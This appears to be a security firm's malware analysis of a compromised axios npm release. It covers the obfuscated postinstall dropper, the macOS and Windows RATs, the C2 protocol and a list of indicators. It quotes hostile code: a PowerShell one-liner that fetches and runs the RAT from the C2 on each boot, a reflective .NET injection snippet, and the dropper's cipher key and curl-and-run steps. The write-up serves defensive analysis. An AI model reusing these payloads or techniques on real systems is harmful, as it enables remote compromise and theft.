On this page
On March 31, 2026, someone published axios 1.14.1 to npm. The package had 101 million weekly downloads. The only change from 1.14.0 was a single new dependency: plain-crypto-js@4.2.1. That package did not exist 24 hours earlier. It carried a postinstall hook that ran a 4 KB obfuscated JavaScript dropper, which detected the host OS, pulled a platform-specific RAT from a plain HTTP C2 server, executed it outside the node process tree, and then erased every trace of itself. The whole chain fired in under two seconds, before npm install finished resolving the rest of the dependency tree.
The attack lasted 169 minutes. Socket flagged the malicious dependency six minutes after it was published. npm pulled both compromised axios versions (1.14.1 and 0.30.4) within three hours. By then, the dropper had been downloaded by an unknown number of CI/CD pipelines and developer machines.
We recovered the dropper from Triage, the macOS and Windows RATs from MalwareBazaar, and the malicious package manifests from jsDelivr's CDN cache. We deobfuscated the dropper's XOR cipher, decompiled the macOS Mach-O binary with Ghidra, and reversed the full Windows PowerShell RAT from source. The C2 protocol is identical across platforms: base64-encoded JSON over HTTP POST, with an IE8-on-Windows-XP user-agent string on every beacon. The Linux Python RAT was never captured. Its hash exists in researcher IOC lists, but the C2 went offline before the payload was observed in the wild.
Sample overview
| Field | Value |
|---|---|
| Campaign ID | 6202033 |
| C2 | http://sfrclak[.]com:8000/6202033 |
| C2 IP | 142.11.206.73 (AS54290 Hostwinds, Seattle) |
| Exposure window | 169 minutes (2026-03-31 00:21 to 03:29 UTC) |
| Compromised account | jasonsaayman (primary axios maintainer) |
| Attacker account | nrwise (nrwise@proton.me) |
| Compromise method | Stolen long-lived classic npm access token |
Malicious packages
| Package | Version | npm shasum |
|---|---|---|
| axios | 1.14.1 | 2553649f232204966871cea80a5d0d6adc700ca |
| axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
Recovered payloads
| File | SHA256 | Type |
|---|---|---|
| setup.js | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 | Node.js dropper (4,209 bytes) |
| system.bat | f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd | Windows persistence stub (265 bytes) |
| windows_rat.ps1 | 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 | PowerShell RAT (11,042 bytes) |
| com.apple.act.mond | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a | Mach-O universal RAT (657,424 bytes) |
| ld.py | fcb81618bb15edfdedfb638b4c08a2af9cac9ecba551af135a8402bf980375cf | Linux Python RAT (not recovered) |
Supply chain entry
The attacker used a stolen classic npm access token to publish directly from the CLI, bypassing the GitHub Actions OIDC Trusted Publisher workflow that legitimate axios releases use. No GitHub commit, tag, or OIDC binding exists for either malicious version.
The only modification to axios's package.json:
"dependencies": {
"follow-redirects": "^1.15.11",
"form-data": "^4.0.5",
"proxy-from-env": "^2.1.0",
"plain-crypto-js": "^4.2.1"
}
One new line. plain-crypto-js clones the legitimate crypto-js package metadata (same author name, same GitHub URL) but adds a postinstall hook: "postinstall": "node setup.js".
A clean v4.2.0 of plain-crypto-js was published 18 hours before the malicious v4.2.1. This staged the package name in the registry so it would not trigger new-package alerts when the malicious version shipped.
Timeline
| Time (UTC) | Event |
|---|---|
| 2026-03-30 05:57 | plain-crypto-js@4.2.0 published (clean staging) |
| 2026-03-30 16:03 | sfrclak[.]com registered via Namecheap |
| 2026-03-30 23:59 | plain-crypto-js@4.2.1 published (malicious) |
| 2026-03-31 00:05 | Socket flags plain-crypto-js (6 minutes) |
| 2026-03-31 00:21 | axios@1.14.1 published |
| 2026-03-31 01:00 | axios@0.30.4 published |
| 2026-03-31 03:29 | Both axios versions removed from npm |
| 2026-03-31 04:26 | Security stub plain-crypto-js@0.0.1-security.0 published |
The dropper: setup.js
The dropper is 4,209 bytes of obfuscated JavaScript. A single minified line. It carries an 18-entry string table (stq array) encoded with a two-layer cipher, detects the host OS, downloads a platform-specific RAT, executes it detached from the node process tree, and erases itself.
Obfuscation
Layer 1 (_trans_2): reverses the input string, replaces _ with =, and base64-decodes.
Layer 2 (_trans_1): XOR cipher. Each character is XORed with key_digit ^ 333, where the key digit index is (7 * i * i) % 10. The key is "OrDeR_7077". JavaScript's Number() returns NaN for the non-digit characters, and NaN becomes 0 in bitwise XOR. The effective key digits are [0, 0, 0, 0, 0, 0, 7, 0, 7, 7].
Decoded string table
| Index | Decoded value |
|---|---|
| 0 | child_process |
| 1 | os |
| 2 | fs |
| 3 | http://sfrclak.com:8000/ |
| 5 | win32 |
| 6 | darwin |
| 7 | VBScript dropper template (Windows) |
| 8 | cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f |
| 9 | AppleScript dropper template (macOS) |
| 10 | nohup osascript "LOCAL_PATH" > /dev/null 2>&1 & |
| 12 | Linux one-liner (curl + nohup python3) |
| 13 | package.json |
| 14 | package.md |
| 15-17 | .exe, .ps1, .vbs |
Placeholder names in the entry function (LOCAL_PATH, SCR_LINK, PS_PATH, PS_BINARY) are constructed from split base64 fragments with junk replacement characters. SCR_LINK is replaced with the C2 URL at runtime. LOCAL_PATH is the temp file path.
Platform branching
os.platform() routes execution to one of three paths:
macOS (darwin): writes an AppleScript to $TMPDIR/6202033, launches it with nohup osascript (reparented to PID 1). The AppleScript curls the RAT to /Library/Caches/com.apple.act.mond, chmod 770s it, and runs it via /bin/zsh.
Windows (win32): locates powershell.exe with where powershell, copies it to %PROGRAMDATA%\\wt.exe, writes a VBScript to %TEMP%\\6202033.vbs. The VBScript curls the PowerShell RAT to %TEMP%\\6202033.ps1 and executes it via the renamed wt.exe with -w hidden -ep bypass.
Linux: a single shell command. curl -o /tmp/ld.py, then nohup python3 /tmp/ld.py.
All three paths POST a platform identifier to the C2 in the request body: packages.npm.org/product0 (macOS), product1 (Windows), product2 (Linux). The C2 uses this to serve the correct payload.
Anti-forensics
After launching the platform payload, setup.js runs three operations:
fs.unlink(__filename)deletes itselffs.unlink('package.json')deletes the malicious manifest (which contains the postinstall hook)fs.rename('package.md', 'package.json')replaces it with a clean decoy reporting version 4.2.0
The result: the node_modules/plain-crypto-js/ directory looks normal on inspection. No postinstall hook. No setup.js. The only indicator is the directory's existence as a dependency.
macOS RAT: com.apple.act.mond
A 657 KB Mach-O universal binary (x86_64 + arm64), compiled with Clang/C++. It links against libcurl for C2 communication and statically embeds nlohmann/json v3.11.3 for JSON handling. The binary is not stripped. All 27 application functions have intact names. We decompiled them with Ghidra.
VirusTotal detection: 12/75. Avast and AVG classify it as MacOS:Nukesped-C. alibabacloud names it Backdoor:Mac/Axios.A.
| Property | Value |
|---|---|
| Format | Mach-O universal (x86_64 + arm64) |
| Compiler | Clang (C++) |
| Libraries | libcurl.4.dylib, libc++.1.dylib, libSystem.B.dylib |
| Code signing | Ad-hoc (no team identifier) |
| Signing identifier | macWebT-55554944c848257813983360905d7ad0f7e5e3f5 |
| JSON library | nlohmann/json v3.11.3 (statically linked) |
Commands
The RAT supports four commands, received as JSON over the C2 channel:
| Command | Handler | Description |
|---|---|---|
kill | DoWork | Sends rsp_kill, calls _exit(0) |
peinject | DoActionIjt | Drop binary to disk, ad-hoc codesign, execute |
runscript | DoActionScpt | Write AppleScript to temp, execute via osascript |
rundir | GetDetailedFileList | Return directory listing with metadata |
peinject on macOS
The peinject implementation differs from Windows. The macOS variant:
- Base64-decodes the
IjtBinpayload (noIjtDllfield on macOS) - Generates a 6-character random filename
- Writes the binary to
/private/tmp/.<random>(dot-prefixed, hidden) chmod(path, 0755)- Runs
codesign --force --deep --sign - "<path>"to ad-hoc sign the binary - Executes via
popen()
The ad-hoc signing bypasses Gatekeeper. codesign --sign - creates a valid signature with no developer identity. The binary runs without the "unidentified developer" prompt.
On Windows, the same peinject command uses reflective .NET injection: a IjtDll assembly (Extension.SubRoutine.Run2) loads a PE payload into a hollowed cmd.exe process. No disk write. On macOS, the binary must touch disk because Gatekeeper blocks unsigned executables, so the operator writes, signs, and runs.
Reconnaissance
On startup and first beacon, the RAT collects:
| Function | Source | Data |
|---|---|---|
GetHostname | gethostname() | Machine name |
GetUsername | getpwuid(getuid()) | Current user |
GetOSVersion | sysctlbyname("kern.osproductversion") | macOS version |
GetModel | sysctlbyname("hw.model") | Hardware model |
GetCPUType | sysctlbyname("machdep.cpu.brand_string") | CPU name |
GetTimezone | localtime_r | UTC offset |
GetBootTime | sysctl(KERN_BOOTTIME) | Last boot |
GetOSInstallTime | stat("/var/db/.AppleSetupDone") | OS install date |
GetProcessList | popen("ps -eo user,pid,command") | Full process list |
InitDirInfo | filesystem walk | /Applications, ~/Library, all drive roots |
The install date lookup is worth noting. It reads the creation timestamp of /var/db/.AppleSetupDone, a file written during initial macOS setup.
No persistence
The macOS binary has no persistence mechanism. No LaunchAgent, no LaunchDaemon, no login item. If the process terminates, it stays dead. Persistence would have to come from a second-stage payload delivered via the peinject command, but no such payload was captured during the C2's short operational window.
Windows RAT: PowerShell
The Windows payload is an 11 KB PowerShell script. Plaintext, not obfuscated. It implements the same four commands as the macOS binary: kill, peinject, runscript, and rundir.
Persistence
On startup, the RAT writes a 265-byte BAT file to %PROGRAMDATA%\\system.bat (hidden attribute) and registers it via the Run key:
HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate
The BAT is a one-liner that re-downloads and executes the RAT from C2 memory on every boot:
start /min powershell -w h -c "& ([scriptblock]::Create(
[System.Text.Encoding]::UTF8.GetString(
(Invoke-WebRequest -UseBasicParsing -Uri '<C2>' -Method POST
-Body 'packages.npm.org/product1').Content
))) '<C2>'"
The RAT never persists on disk as a .ps1 file. It lives in memory, re-fetched from the C2 at each login. If the C2 goes down, persistence breaks.
peinject on Windows
The Windows peinject handler receives two base64-encoded blobs:
IjtDll: a .NET assembly containingExtension.SubRoutine.Run2IjtBin: the PE payload to inject
[System.Reflection.Assembly]::Load($rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @($daolyap, (Get-Command cmd).Source, $param))
The .NET loader injects the PE into a new cmd.exe process (process hollowing). The variable names are reversed: $rotjni = "injtor", $daolyap = "payload". Neither the .NET loader nor the PE payload were captured. They are sent by the operator on demand and exist only in the C2's possession.
Script execution
The runscript command has three paths:
- No script: runs the
Paramfield directly as PowerShell arguments - Small script (< 10,240 bytes): double base64-encoded and passed via
-EncodedCommand - Large script (>= 10,240 bytes): written to
%TEMP%\\{GUID}.ps1, executed, then deleted
All paths use powershell -NoProfile -ep Bypass and capture stdout for the C2 response.
Reconnaissance
Same data set as macOS, collected via WMI:
| Variable | Source |
|---|---|
$hostname | $env:COMPUTERNAME |
$username | $env:USERNAME |
$version | Win32_OperatingSystem (caption + arch + version) |
$timezone | Get-TimeZone |
$installDate | Win32_OperatingSystem.InstallDate |
$bootTime | Win32_OperatingSystem.LastBootUpTime |
$modelName | Win32_ComputerSystem.Model |
$cpuType | Win32_Processor.Name |
| Process list | Get-CimInstance Win32_Process (PID, session, name, path) |
| Directory listing | Documents, Desktop, OneDrive, AppData\Roaming, all drive roots |
The victim ID ($uid) is a random 16-character alphanumeric string, regenerated every session. The C2 has no persistent identifier for a machine across reboots.
Shared C2 protocol
Both RATs use the same protocol. The macOS binary implements it in C++ via libcurl. The Windows RAT uses System.Net.WebClient.
Transport
| Field | Value |
|---|---|
| Transport | HTTP POST (plain, no TLS) |
| Encoding | JSON body -> UTF-8 bytes -> base64 -> POST body |
| User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) |
| Beacon interval | 60 seconds |
| Timeout | 30 seconds (macOS, via CURLOPT_TIMEOUT) |
Message types
| Type | Direction | Purpose |
|---|---|---|
FirstInfo | Client -> C2 | UID, OS, initial directory listing |
BaseInfo | Client -> C2 | Beacon (first: full fingerprint + process list; subsequent: timestamp only) |
CmdResult | Client -> C2 | Command response with status (Wow = success, Zzz = error) |
kill | C2 -> Client | Clean exit |
peinject | C2 -> Client | Binary injection |
runscript | C2 -> Client | Script execution |
rundir | C2 -> Client | Directory listing request |
The POST bodies masquerade as npm registry traffic. The initial payload download sends packages.npm.org/product0 (or product1, product2) as the POST body, mimicking a request to the npm registry. The ongoing beacon bodies are base64-encoded JSON.
C2 infrastructure
sfrclak[.]com was registered on 2026-03-30 at 16:03 UTC, eight hours before the malicious dependency was published. Registered via Namecheap with full WHOIS privacy. Default Namecheap nameservers. No TLS certificate issued (no entries in CT logs via crt.sh). MX records point to Namecheap email forwarding servers, which may be a parking default.
The C2 IP (142.11.206.73) is in Hostwinds' Seattle allocation (AS54290, 142.11.192.0/18). The hosting type in our IPinfo bulk database is hosting, a standard VPS provider. GreyNoise reports no scanning activity from this IP. Shodan has no scan data. The infrastructure was completely clean across all threat intel feeds except VirusTotal, where the domain had 15/94 malicious detections and a reputation score of -42 at time of analysis.
The C2 accepted TCP connections on port 8000 during our investigation but reset the connection after receiving POST data. The listener was either killed after the npm takedown or reconfigured to reject requests.
Downstream contamination
Two npm packages vendored the compromised axios into published artifacts:
| Package | Downloads/week | Ecosystem |
|---|---|---|
@shadanai/openclaw | 673 | OpenClaw AI framework fork |
@qqbrowser/openclaw-qbot | 4,571 | QQ Bot plugin for OpenClaw |
Both are part of the OpenClaw ecosystem, an open-source AI assistant framework with over 250,000 GitHub stars. Any project with a flexible axios version range (^1.14 or ~1.14) that ran npm install during the 169-minute window pulled the malicious version. Only these two packages vendored it into their own published npm artifacts, extending the supply chain one link further.
Platform comparison
The two RATs share a protocol and command set but diverge on execution. The biggest split is peinject: Windows does it in memory through .NET reflection, macOS writes to disk and codesigns. Persistence also differs. Windows re-fetches the RAT from C2 on every boot via a Run key. macOS has no persistence at all.
| Feature | macOS (C++) | Windows (PowerShell) |
|---|---|---|
| peinject | Disk write + ad-hoc codesign + popen | Reflective .NET injection into cmd.exe |
| peinject fields | IjtBin only | IjtDll + IjtBin |
| runscript | AppleScript via osascript | PowerShell (-ep bypass) |
| Shell fallback | /bin/sh -c | powershell.exe |
| Persistence | None (binary in /Library/Caches/) | Run key -> system.bat (fileless re-fetch) |
| Process list | ps -eo user,pid,command | Get-CimInstance Win32_Process |
| Init directories | /Applications, ~/Library, filesystem roots | Documents, Desktop, OneDrive, AppData, drives |
| Victim UID | Variable length (per GenerateUID param) | 16 alphanumeric chars |
The C2 protocol, JSON schema, command names, and IE8 user-agent string are identical across both platforms. The Wow/Zzz status codes are shared. The platform differences are confined to OS-specific execution paths.
IOC summary
Network
| Indicator | Type |
|---|---|
sfrclak[.]com | C2 domain |
142.11.206.73 | C2 IP (AS54290 Hostwinds, Seattle) |
sfrclak[.]com:8000 | C2 listener |
http://sfrclak[.]com:8000/6202033 | Payload delivery + beacon endpoint |
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) | C2 user-agent (all platforms) |
Host
| Path | Platform | Description |
|---|---|---|
/Library/Caches/com.apple.act.mond | macOS | RAT binary |
/private/tmp/.<random> | macOS | peinject dropped binaries |
%PROGRAMDATA%\\wt.exe | Windows | Renamed powershell.exe |
%PROGRAMDATA%\\system.bat | Windows | Persistence stub (hidden) |
%TEMP%\\6202033.vbs | Windows | VBScript dropper (deleted) |
%TEMP%\\6202033.ps1 | Windows | PS1 RAT (deleted) |
/tmp/ld.py | Linux | Python RAT |
Registry
| Key | Value | Data |
|---|---|---|
HKCU:\\...\\Run | MicrosoftUpdate | %PROGRAMDATA%\\system.bat |
Crypto and obfuscation
| Key | Context |
|---|---|
OrDeR_7077 | XOR key (effective digits: [0,0,0,0,0,0,7,0,7,7]) |
333 | XOR constant |
6202033 | Campaign ID (C2 path, temp filenames) |
Detection strings
| String | Context |
|---|---|
com.apple.act.mond | macOS RAT filename |
plain-crypto-js | Malicious npm package |
Extension.SubRoutine | .NET injector class (Windows peinject) |
MicrosoftUpdate | Windows persistence registry value |
packages.npm.org | C2 POST body prefix |
macWebT | Mach-O code signing identifier prefix |
See also: GhostWeaver: a PowerShell RAT that lives up to its name, PureCrypter loader analysis.